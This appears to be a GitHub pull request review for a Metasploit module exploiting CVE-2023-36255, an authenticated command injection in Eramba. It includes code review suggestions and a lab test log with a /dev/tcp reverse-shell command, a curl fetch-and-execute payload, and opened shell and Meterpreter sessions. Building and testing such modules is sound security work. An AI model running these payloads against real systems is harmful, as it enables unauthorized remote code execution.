Conversation
| ## Options | ||
|
|
||
| - **USERNAME**: valid username for Eramba application (default: admin) | ||
| - **PASSWORD**: valid password for Eramba application (default: admin) |
There was a problem hiding this comment.
Options typically use H3.
| ## Options | |
| - **USERNAME**: valid username for Eramba application (default: admin) | |
| - **PASSWORD**: valid password for Eramba application (default: admin) | |
| ## Options | |
| ### USERNAME | |
| A valid username for Eramba application | |
| ### PASSWORD | |
| A valid password for Eramba application |
| OptString.new('USERNAME', [ true, 'The username to authenticate with']), | ||
| OptString.new('PASSWORD', [ true, 'The password to authenticate with']), |
There was a problem hiding this comment.
The docs noted that there was a default username and password, but it's not used here.
| return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1') | ||
|
|
||
| return Exploit::CheckCode::Safe |
There was a problem hiding this comment.
Can we add the version to the check code here? That'll be useful for debugging.
| return Exploit::CheckCode::Appears if version <= Rex::Version.new('3.19.1') | |
| return Exploit::CheckCode::Safe | |
| return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1') | |
| return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.") |
| 'Targets' => [ | ||
| [ | ||
| 'Unix Command', | ||
| { | ||
| 'Platform' => 'unix', | ||
| 'Arch' => ARCH_CMD, | ||
| 'Type' => :unix_cmd, |
There was a problem hiding this comment.
This is filtering out fetch payloads. The docker container has curl and wget installed and I was able to test cmd/linux/http/x64/meterpreter/reverse_tcp using curl but had to make these changes:
| 'Targets' => [ | |
| [ | |
| 'Unix Command', | |
| { | |
| 'Platform' => 'unix', | |
| 'Arch' => ARCH_CMD, | |
| 'Type' => :unix_cmd, | |
| 'Targets' => [ | |
| [ | |
| 'Command', | |
| { | |
| 'Platform' => ['unix', 'linux'], | |
| 'Arch' => ARCH_CMD, |
smcintyre-r7
left a comment
There was a problem hiding this comment.
LGTM, I was able to successfully test both payloads now.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > show options
Module options (exploit/linux/http/eramba_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/us
ing-metasploit.html
RPORT 8443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Eramba
USERNAME admin yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Command
View the full module info with the info, or info -d command.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[-] Msf::OptionValidateError One or more options failed to validate: LHOST.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[+] bash -c '0<&31-;exec 31<>/dev/tcp/192.168.159.128/4444;sh <&31 >&31 2>&31'
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[-] Exploit aborted due to failure: unexpected-reply: Failed to login
[*] Exploit completed, but no session was created.
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set PASSWORD Password1!
PASSWORD => Password1!
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[+] bash -c '0<&172-;exec 172<>/dev/tcp/192.168.159.128/4444;sh <&172 >&172 2>&172'
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:47214) at 2025-03-25 13:51:46 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y
[*] 192.168.159.128 - Command shell session 1 closed. Reason: User exit
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
metasploit-framework.pr (S:0 J:0) exploit(linux/http/eramba_rce) > run
[*] Command to run on remote host: curl -so /tmp/YVjzJlhFY http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ;chmod +x /tmp/YVjzJlhFY;/tmp/YVjzJlhFY&
[*] Fetch handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Eramba Version 3.19.1 is affected.
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:51982) at 2025-03-25 13:52:33 -0400
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 10.89.4.4
OS : Debian 11.6 (Linux 6.13.7-100.fc40.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/var/www/eramba/app/upgrade/webroot
meterpreter >
Release NotesThis adds an exploit for CVE-2023-36255 which is an authenticated command injection vulnerability in Eramba. |
|
Thanks to @msutovsky-r7 and @smcintyre-r7 for completing our initial pull request (#19494). 👍 |
This PR adds a module for CVE-2023-36255 - Eramba Remote Command Execution. It is built on #19494, this is basically just doing last steps.
Vulnerable Application
Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in Docker format. However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (
docker-compose.simple-install.yml):Installation
Docker and docker-compose is required.
.envdocker-compose.simple-install.ymldocker compose -f docker-compose.simple-install.yml up -dShut down:
docker compose -f docker-compose.simple-install.yml downVerification Steps
Options
USERNAME
A valid username for Eramba application
PASSWORD
A valid password for Eramba application
Scenarios